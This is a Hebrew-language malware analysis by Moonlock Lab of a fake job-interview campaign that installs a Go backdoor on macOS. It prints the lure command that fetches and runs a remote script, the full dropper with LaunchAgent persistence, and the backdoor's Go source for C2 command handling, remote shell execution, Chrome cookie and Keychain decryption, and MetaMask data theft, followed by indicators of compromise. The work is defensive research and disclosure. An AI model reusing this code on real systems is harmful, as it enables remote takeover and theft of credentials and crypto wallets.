
נכתב על ידי צוות Moonlock Lab של MacPaw
קמפיין סייבר מתמשך מכוון למחפשי עבודה עם אתרי ראיונות מזויפים, ומרמה אותם להוריד דלת אחורית אך יעילה מאוד. בניגוד לתוכנה זדונית מתוחכמת המשתמשת בטכניקות ערפול, מתקפה זו מסתמכת על פשטות - אספקת קוד מקור לצד קובץ בינארי של Go, מה שהופך אותו לפלטפורמות שונות. מדאיג עוד יותר הוא הניסיון שלה לחטוף את ההרשאות של תוסף Chrome הקשור למטבעות קריפטוגרפיים MetaMask, שעלול לרוקן את הארנקים של הקורבנות.
הקמפיין נשאר פעיל, כאשר דומיינים חדשים מופיעים באופן קבוע כדי לפתות קורבנות נוספים. חוקרי אבטחה בודדים וחברות רבות, כגון
צוות Moonlock Lab החל לעקוב אחר התוכנה הזדונית הזו בדיוק ב-9 באוקטובר 2024, כאשר הרכיבים הראשונים של הדלת האחורית החלו להופיע. דלת אחורית היא סוג של תוכנה זדונית שמתחבאת על מערכת ומאפשרת לשחקני איומים לבצע פקודות מרחוק, כאילו היו הבעלים החוקיים של תחנת העבודה. התקפות אלו משתמשות בדרך כלל בשרתי C2 (Command and Control) כדי לשלוח ולבצע פקודות.
מה שמייחד את ההתקפה הזו מאחרות שאנו רואים בדרך כלל הוא שהיא מורכבת משלבים מרובים ונועדה להימשך במכונה של הקורבן במקום להפעיל זרימת גניבת נתונים בשוט אחד. סקירה מלאה של שלבי התקיפה ניתן לראות בתמונה למטה.
השרשור הראשון בנוי היטב ב-X ששמנו לב אליו פורסם על ידי
בדרך כלל מתחיל עם "מגייס" מחברה ידועה, למשל Kraken, MEXC, Gemini, Meta. טווחי שכר + סגנון העברת הודעות הם אטרקטיביים - גם לאלה שאינם מחפשים עבודה באופן פעיל. בעיקר דרך לינקדאין. גם אתרי פרילנסרים, אתרי דרושים, tg, discord וכו'.
כדי להשיג את הגרסה העדכנית ביותר של תוכנה זדונית זו, היה חיוני לעקוב אחר דומיינים חדשים המארחים אתרי ראיונות מזויפים. לצורך כך, הצוות שלנו הסתמך על שני אינדיקטורים בלתי משתנים שחולקים לתחומים אלה:
למרות שחלק מהדומיינים שבהם נעשה שימוש במהלך מסע פרסום זה נסגרים, החדשים ממשיכים להופיע, כאשר האחרון עדיין מקוון: smarthiretop[.]online . הצוות שלנו זיהה יותר מ-20 דומיינים פעילים מאז נובמבר 2024.
לאחר חקירת הדומיינים, גילינו שחלקם חולקים את אותה כתובת IP. זה קורה לעתים קרובות מכיוון שתוקפים משתמשים בספקי אירוח חסיני כדורים, המאפשרים לארח דומיינים מרובים באותו שרת. בנוסף, אירוח של מספר דומיינים ב-IP יחיד מאפשר לגורמי איומים לסובב דומיינים מבלי לשנות את התשתית האחורית.
תשתית זדונית זו מתארחת בשירותים שונים המופצים ברחבי העולם. כפי שמוצג במפה למטה, רוב השרתים ממוקמים בארה"ב, כאשר חלקם מפוזרים על פני מדינות אחרות.
הפקודה הזדונית שהמרואיינים התבקשו לבצע מסתתרת בחלון שמופיע כשהם מבקרים באתר זדוני. זהו קוד JS, ארוז בקובץ main.39e5a388.js במקרה זה. שמות קבצים כאלה נוצרים בדרך כלל באמצעות מנגנון גיבוב או טביעת אצבע במהלך תהליך הבנייה של יישום אינטרנט (עיון:
באחד מהדפים יש את קובץ ה-JS המוטבע הזה עם ה-hash הבא של SHA256:
יכולנו בקלות לזהות שבתוך קובץ JS בנוי נמצאות אותן פקודות שהקורבנות התבקשו להזין:
לאחר שהבנו כיצד שחקן האיום מפיץ את התוכנה הזדונית, המטרה העיקרית שלנו הייתה למצוא במהירות דוגמאות ולפתח חתימות עבור המשתמשים שלנו. האזכור הישיר הראשון של דגימות "מוכנות לייצור" וה-hash SHA-256 שלהן שמצאנו היה בשרשור הזה:
הוא כלל חמישה גיבובים, כלומר עבור:
בנוסף לכך, הצוות שלנו התחיל להביא סקריפטים זדוניים כאילו רימו אותנו להוריד אותם, בדומה לקורבנות. בשלב מסוים, נעשה שימוש בפקודה הבאה באתרי ראיונות מזויפים:
פקודה מצילום המסך (לא לבצע!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
הוא מבצע את הפעולות המפורטות להלן:
בתוך הקובץ ffmpeg.sh שנשמר בתיקייה זמנית, נוכל למצוא את נקודת הכניסה להתקפה זו, הכוללת:
כפי שאנו עשויים לראות מהסקריפט שלהלן, הוא תוכנן במיוחד עבור macOS, הן אינטל והן גרסאות ARM. לאחר שהוא מגדיר את דגם המעבד הנוכחי, הוא מוריד ארכיון ZIP עם מספר קבצים. סקירה מפורטת יותר של תסריט זה ניתן למצוא ב
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
הַפנָיָה:
תוכן הארכיון (גרסה עבור אינטל CPU) שהסקריפט מביא מפורט להלן:
ניתן לסווג את כל הקבצים בארכיון למספר קבוצות:
מעניין לציין שהארכיון הוא בגודל של כ-75 מגה-בייט, בעיקר בגלל שהוא כולל חלקים רבים של ספריות Go ובינאריות לגיטימיות.
אחד הקבצים שצפינו בשימוש במשך תקופה ארוכה בהתקפה זו הוא קובץ בינארי אוניברסלי של Mach-O עם 2 ארכיטקטורות, בשם CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd75ebd39526c 7e).
הוא מתחזה לסמל של Google Chrome, גורם למשתמשים רגילים להאמין שהקובץ לגיטימי ומונע מהם למחוק אותו.
הקוד כתוב בסוויפט, ולא זוהו טכניקות ערפול חזקות, מה שמקל יחסית על הבנת זרימת הביצוע.
הוא מציג חלון שנראה כמו חלון הודעות מערכת, המבקש מהמשתמש להעניק גישה למיקרופון, כביכול מתבקש מאפליקציית Google Chrome.
גם אם המשתמש בוחר "תזכיר לי מאוחר יותר", עדיין מופיע חלון הנחיית סיסמה.
האפליקציה טוענת שהיא דורשת גישה למיקרופון; עם זאת, הוא נמצא בארגז חול, ולא מתבצעת בקשת הרשאה ממשית עבור המיקרופון.
לאחר שהמשתמש מזין את הסיסמה שלו, התוכנה הזדונית מבקשת את כתובת ה-IP החיצונית של המארח שעליו היא פועלת. לאחר מכן הוא שולח את קובץ password.txt לתיקיית Dropbox הקרויה על שם כתובת ה-IP החיצונית של המשתמש.
בצילום המסך למטה ניתן לזהות את כתובת האתר של Dropbox API.
בזמן בחינת תעבורת הרשת, יכולנו לראות ניסיונות לאחזר כתובת IP ציבורית של קורבן.
לאחר קבלת כתובת ה-IP, נוכל לראות בקשות ל-Dropbox על מנת להעלות צמד סיסמת IP באמצעות אישורים מקודדים.
הצוות שלנו דיווח על התקרית הזו לדרופבוקס, יחד עם האישורים ששימשו לניהול הקמפיין הפוגעני הזה.
חשוב לציין שקובץ ה-ZIP שהורד על ידי הסקריפט ffmpeg.sh מכיל את קוד המקור בטקסט רגיל של הדלת האחורית, כלומר הוא לא עבר קומפילציה מראש או ערפול. זה האיץ משמעותית את הניתוח אך גם העלה שאלות לגבי ייחוס נכון. מיותר לציין שקבוצות APT מ-DPRK הן בדרך כלל הרבה יותר מתוחכמות.
אסטרטגיה יוצאת דופן נוספת היא הכללת Go בינארי ( /bin/go ) בארכיון במקום פשוט להרכיב את הקוד המלא. עם זאת, מכיוון ש-Go אינו יישום ברירת המחדל במערכות הפעלה רבות, ייתכן שגורמי האיום כללו אותו למען תאימות טובה יותר. זה הגיוני בהתחשב בכך שהתוכנה הזדונית היא חוצה פלטפורמות ומכוונת ל-macOS, Linux ו-Windows בו-זמנית.
גרף הממחיש קשרים ותיאור מפורט של כל מדגם ראוי לציון, ניתן למצוא כאן:
בתוך הארכיון, יש סקריפט בשם vcamupdate.sh . הוא פועל מיד לאחר הפריקה ופשוט מבצע את /bin/go (המצורף ב-ZIP) תוך כדי העברת הנתיב לאפליקציית Golang הראשית (במקרה זה app.go ).
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
אפליקציית הכניסה ( app.go ) אחראית על יצירת UUID ייחודי עבור תחנת העבודה של המשתמש, אתחול כתובת ה-C2 והפעלת הלולאה הראשית. בקוד נוכל לראות הערות בשורה אחת, הדפסות של הודעות תומכות, וכמה קוד שהגיב. זה כולל גם כתובות URL שכנראה מיועדות לבדיקה, ששכחו להסירן על ידי המפתחים. למרות שכתובת ה-IP C2 שונה במסע הפרסום הראשי, דגימות משנת 2024 חלקו את אותה פונקציונליות והתמקדו באותם נתונים.
מאוחר יותר הקריאה ל- core.StartMainLoop(id, url) מביאה אותנו אל הליבה/ תיקיה עם קבצי loop.go ו- work.go. קובץ loop.go אחראי בעיקר על קבלה וביצוע של פקודות מ-C2, קריאת תת-מודולים אשר אוספים נתונים רגישים, והעלאתם לשרת המרוחק. הוא מכיל פונקציות רבות, 8 מהן נרצה להדגיש ולחקור ביתר פירוט.
פונקציה זו משתמשת בתת-מודול התצורה כדי לאתחל פקודות זמינות ולהאזין לפקודות הנכנסות. למטה תוכלו למצוא טבלה עם כל הפקודות יחד עם הקודים המתאימים להן. ניתן למצוא ניתוח מפורט יותר של הפונקציונליות של הדלת האחורית ב
שם פקודה | שם מקודד | תֵאוּר |
---|---|---|
COMMAND_INFO | qwer | קבל שם משתמש, מארח, מערכת הפעלה, קשת |
COMMAND_UPLOAD | asdf | העלה ודחוס ארכיון שרירותי מ-C2 לארח |
COMMAND_DOWNLOAD | zxcv | הורד נתונים גנובים ל-C2 |
COMMAND_OSSHELL | vbcx | אתחול מעטפת אינטראקטיבית בין המארח ל-C2 (הפעל פקודות מרחוק שרירותיות) |
COMMAND_AUTO | r4ys | איסוף אוטומטי של נתונים רגישים |
COMMAND_WAIT | ghdj | המתן X שניות |
COMMAND_EXIT | dghh | צא מהלולאה הראשית (מוגדר בחיים=שקר) |
בהתבסס על הפקודה שהתקבלה מ-C2, תיקרא פונקציה מתאימה.
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
פונקציה זו תאסוף מידע בסיסי על המערכת כגון שם משתמש, שם מארח, גרסת מערכת ההפעלה וארכיטקטורה. ראוי לציין שרוב גונבי המידע הפופולריים אוספים הרבה יותר מידע מערכת מאשר תוכנה זדונית זו.
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
במקרה זה, העלאה מייצגת את התהליך של שליחת קובץ ארכיון מה-C2 למארח הנגוע, ולאחר מכן ביטול הדחיסה שלו. זה גם מציין אם הדקומפרסיה הצליחה.
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
פונקציה זו היא ההפך מקודמתה. הוא מבצע דחיסה של ספרייה עם קבצים שנאספו מראש לארכיון tar.gz.
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
זוהי פונקציה שחייבת להיות לדלת אחורית אמיתית. הוא ממתין לפקודה שרירותית ולנסיונות לבצע אותה. לפקודה עשויים להיות ארגומנטים של שורת פקודה, והפלט יירשם ישירות ל-C2.
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
זוהי נקודת הכניסה של זרימת הגניבה. פונקציה זו מכילה שיחות מרובות לקבצים הנמצאים באוטו/ תיקיה. הם כוללים תופסים, מעבדים או משנה של הנתונים הבאים:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
פונקציית שירות המשמשת לשליחת דלת אחורית למצב שינה, בהמתנה לפקודות נוספות.
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
זוהי פונקציית שירות המשמשת ליציאה מהלולאה הראשית של התקשורת עם ה-C2.
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
התיקיה האוטומטית/ ה מכילה קבוצה של אפליקציות Go:
basic.go
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
chrome_change_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go
chrome_cookie_win.go
chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
לסיום הניתוח שלנו, עלינו להדגיש את הנקודות החשובות ביותר:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080